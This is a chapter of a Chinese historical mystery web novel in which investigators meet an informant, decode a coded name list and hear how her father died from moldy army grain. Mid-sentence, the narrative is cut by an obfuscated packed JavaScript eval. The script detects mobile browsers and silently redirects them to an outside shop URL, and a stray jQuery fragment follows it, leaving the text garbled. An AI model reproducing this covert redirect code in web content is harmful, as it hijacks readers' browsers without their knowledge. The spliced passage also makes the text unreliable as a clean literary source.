肖宵说去酒楼吃,他做东。
太白楼门顶挂着硕大的红灯笼,门楣上烫金匾额写得龙飞凤舞,入门处摆着一扇黑漆钿螺屏风,图案是雍容华贵的大朵牡丹花和孔雀,七彩的羽毛流光熠熠。
小二穿着干净的蓝布短褂站在门口吆喝,肩上挂着一条白抹布,他一见客人进来就殷勤地为他们擦拭桌凳,这般服务规格都比码头那边的高了好几个档次。
上了二楼,几人寻了一处靠窗边的位置坐下。窗外大街上车马辚辚,人来人往。
凌纤趴在窗台上往下看,她进了太白楼之后就在控制自己眼神不要到处乱瞟,不然会显得她很没有见过世面。
肖宵正想问凌纤点什么,一转头却见刘瓒已经在跟店小二报菜名了,“酱肘子上一份,烧鸭来一只,涮羊肉三盘应该够吃,清蒸鲈鱼也上一条,红烧狮子头一份。”
刘瓒不好意思地朝肖宵笑笑,“老大,我点的不算多吧,查案查了这么些天,也该给兄弟们补补。”
菜品陆陆续续端上桌。酱肘子切片码得整整齐齐,肉皮晶莹剔透,瘦肉酥烂入味。凌纤夹了一筷子塞进嘴里,嚼了两下就瞪圆了眼睛,“比码头那家包子铺好吃一百倍!”
“那是自然,码头包子店的老板娘又不是专门做酱肘子的,你再尝尝烧鸭。”
肖宵给她夹了一筷烧鸭,选的是一片鸭腿肉,凌纤眼睛瞪得更大了,烧鸭外皮酥脆,肉汁咸鲜,好吃得让人想要尖叫,“天老爷……这个居然比酱肘子还好吃!”
肖宵看她这副样子不免觉得好笑又可爱,嘴角噙着笑意,一个劲往她碗里堆菜,不一会凌纤的碗里就被堆得满满当当。
“多吃点,吃饱为止。”
“你也多吃点,这些天查案辛苦,你都饿瘦了。”凌纤礼尚往来,往肖宵碗里夹了一筷子涮羊肉,“吃羊肉最能温补身子了。”
刘瓒和邓复见此情形对视一眼,麻了。
刘瓒搓搓胳膊,打了一个冷颤,“这还没立秋啊,我身上怎么起鸡皮疙瘩了。”
你懂个锤子?邓复往刘瓒嘴里塞了一筷子羊肉,糊着厚厚的芝麻酱,“吃也堵不住你的嘴,这桌菜全是你点的,不要浪费。”
吃到鲈鱼的时候凌纤特意多夹了两筷子。缘由很朴实,这条鲈鱼太贵了,她无意间瞟到了菜单上面的价格,光这一条鲈鱼能买半扇猪。她觉得这么贵的鱼吃进肚子里,每一口都带点负罪感。
刘瓒撇撇嘴,把鲈鱼的盘子往自己的方向推了推,“那你别吃了,剩下的我包了。”
凌纤听罢立刻把筷子伸过去又夹了一大块塞进嘴里,“负罪感这种东西习惯了就好了,不是什么要紧的。”
三更天龙王庙,柳莺比他们先到。
她站在龙王庙外面的石阶上,手里提着一盏小小的纱灯,灯光映着她素净的脸。和花楼的样子判若两人。
柳莺今夜身着豆绿色的粗布衣裙,头发用一根木簪随意挽着,看起来像个普通的渔家女子。“公子很准时。”柳莺的声音也比花楼里轻了很多,没有了那种故意拿捏的柔媚,“不过我也说了,你一个人来。”她的目光挪向凌纤。
“承蒙柳姑娘信任,在下不敢迟到。”肖宵拱了拱手。“这位是自己人,姑娘直说无妨。”
“漕粮的案子,你们查到哪一步了?”
肖宵也没想到她上来就这么直接,“查到码头上有个叫独眼的水匪,和水猴子关系密切。”
“还有呢?”
“还有一拨人,专程负责在运河上杀人,杀的是水猴子的人,前几日杀了一个叫孔大五的。”
水猴子这伙人后面,必然有官府的推波助澜。这点在肖宵看来已经是板上钉钉的了。
柳莺听罢,从袖中取出个软布小书袱,放在两人之间的石阶上。
“我相信这里面的东西一定可以帮到你。”
“既是如此,姑娘为何愿意将此物交给我?”
柳莺沉吟片刻开口:“这里面的东西不是我查出来的,我只不过依他之言转交而已。”
“那人是谁?”
“他没有和我说名字,留下这些便离开了。倘若公子还想找我,记得带一把琵琶。”柳莺提着纱灯走了。
肖宵等她走远,弯腰把书袱捡起来打开。
映入眼帘的是一份名单,上列了几个奇怪的代号:伯乐不归、十年藏酒、文金错刀、寸心童。”
刘瓒和邓复从后面走出来,接过名单看了一遍。
“这一看就是猜谜啊。”凌纤对这个熟,中秋过节不就是猜这个吗?
“伯乐不归一听就是姓马的!”凌纤略一思索,“文金错刀……文和刀加在一起就是刘姓。”
“云姑娘,没想到你还识字!”
凌纤忍不住白了刘瓒一眼,“我谢谢你,本姑娘不是文盲。”
“怪我笨嘴拙舌,姑娘这是才思敏捷,哈哈哈哈!”刘瓒认错态度良好。
“按照云朵这个思路倒也不难猜。”肖宵已经看出剩下的十年藏酒和寸心童。“剩下的是陈和孙。‘刘’是水猴子,其他姓氏也得对对,尤其是岳州官府的人。”
提到孙,肖宵心中浮现出那封信上出现的“水次仓大使”几个字,还真得多谢自己的恩师。
“这像是一份灭口名单,有人要把这些人一个一个清理掉。”邓复锁着眉,眉头间夹出一道深深的沟壑。
肖宵一边整理着书袱里的纸张,一边自言自语,“柳莺知道的肯定不止这些。”
凌纤和邓复对视一眼,意思很明显,还去吗?感情这是去花楼去上瘾了?
第二日傍晚,肖宵带凌纤还有柳莺嘱托的“琵琶”再次去了醉春楼。
这把琵琶是凌纤临时从码头旧货摊上淘来的,琴身上有一道裂缝,估计也受潮了。弹起来声音犹如弹棉花,好似贼悄悄摸进村里,偷摸的感觉很重。
肖宵抱着这把琵琶走进醉春楼大门的时候,老鸨的表情好似看到一头野牛闯进瓷器铺。
“这位爷,您这是……”来抢饭碗的?
“是来学琵琶的。”肖宵强装镇定,“我已经和柳娘子约好了。”
在老鸨一脸不可置信的目送之下,肖宵和凌纤硬着头皮走进了柳
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17907890|213062||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
莺所在的房间。
柳莺坐在窗边,怀里抱的那把琵琶一看就不是凡品,琴身由紫檀木制成,古朴奢华。
“你的琵琶呢?”
“这把就是。”肖宵把破琵琶放在桌上,弦缺了一根的那面朝上。
柳莺转过身看着那把琵琶,呆愣了一瞬,声音带着些不自觉的颤音,“这把琵琶少了一根弦,你知道吧。”
“知道,少的是商弦。”这弦当然是他特意剃走的,“军号商音,商乃征伐用兵之兆。”
凌纤听了两人的对话,感觉今天的自己才像个文盲。
“你说得一点都不错……”柳莺看向铜镜,陷入了回忆。“我十六岁那年,水猴子把我从人牙子手里买下来,送进了醉春楼。他说这儿的生意好,外地官员和富商来岳州都爱来,消息多。让我留在花楼里替他盯人,谁来了,见了谁,说了什么话都记着告诉他。”
“你替他盯人,也是在收集他的证据。”肖宵听出了她的言外之意。她想要和肖宵做交易,那个书袱便是她的投诚礼。
“我手里还有你想要的东西。你得答应帮我查一件事情,和我父亲相关的。”柳莺凝神沉思,“他叫柳平远,生前是晋州卫的百户。嘉靖四十五年,他所在的部队被调到蓟州。走之前他说等他在那边安定下来,便立即回来接我跟娘。”
柳莺声音哽咽:“可我和我娘等啊等。等来的却是他的骨灰盒。送骨灰盒的人说他不是死在蓟州,是死在去的路上,没到蓟州的军营就死了。他们说他不幸得了疫病,死在运军粮的漕船上,尸体在杜州被就地火化了。”
“漕船上面染的疫病?”肖宵蹙眉。
柳莺的语气陡然间变得咬牙切齿,“我那时候小,不懂。后来长大了,找了好些当年跟我爹一起出征的老兵打听。他们说的和军营的说辞不一样。”
谈及此处,她难掩愤恨之色,“我爹压根不是死于什么疫病,是他吃的军粮有问题,那军粮是发霉的,吃了上吐下泻,营中倒了一片。我爹吃了好几天霉米,脱水脱得站不起来,随船的军医也未对他进行及时救治。他并非意外病死,就是被那批霉米活生生害死的!而那批霉米,正是在岳州装的船。”
“你父亲的抚恤银……”
“三两银子。”柳莺凄凄笑了,“朝廷原本发下来的是五十两银,被层层克扣,到了我们手里只剩这么点。”
凌纤听到这也忍不住红了眼眶,她从前天真地以为,只要有足够高超的武艺,就可以行走江湖,惩恶扬善。
没曾想,更坏的恶人往往兵不血刃。
“我娘用这钱买了棺材。过了没多久,她忧思过度,也跟着去了。再后来,我卖身葬母,四处打听我父亲的死因,最后来了岳州。”她松开按在琵琶弦上的手指,弦弹回来发出一声脆响,在安静的房间里格外刺耳。
“我要的不只是扳倒水猴子,他是罪该万死。但他只是一个帮凶,不是这件事情的主谋。我更要知道那批霉米是谁发的,是谁把它装上漕船,是谁在账面上把它写成了‘好粮’!我一定要揪出那个杀死我爹的凶手,他罪该万死!”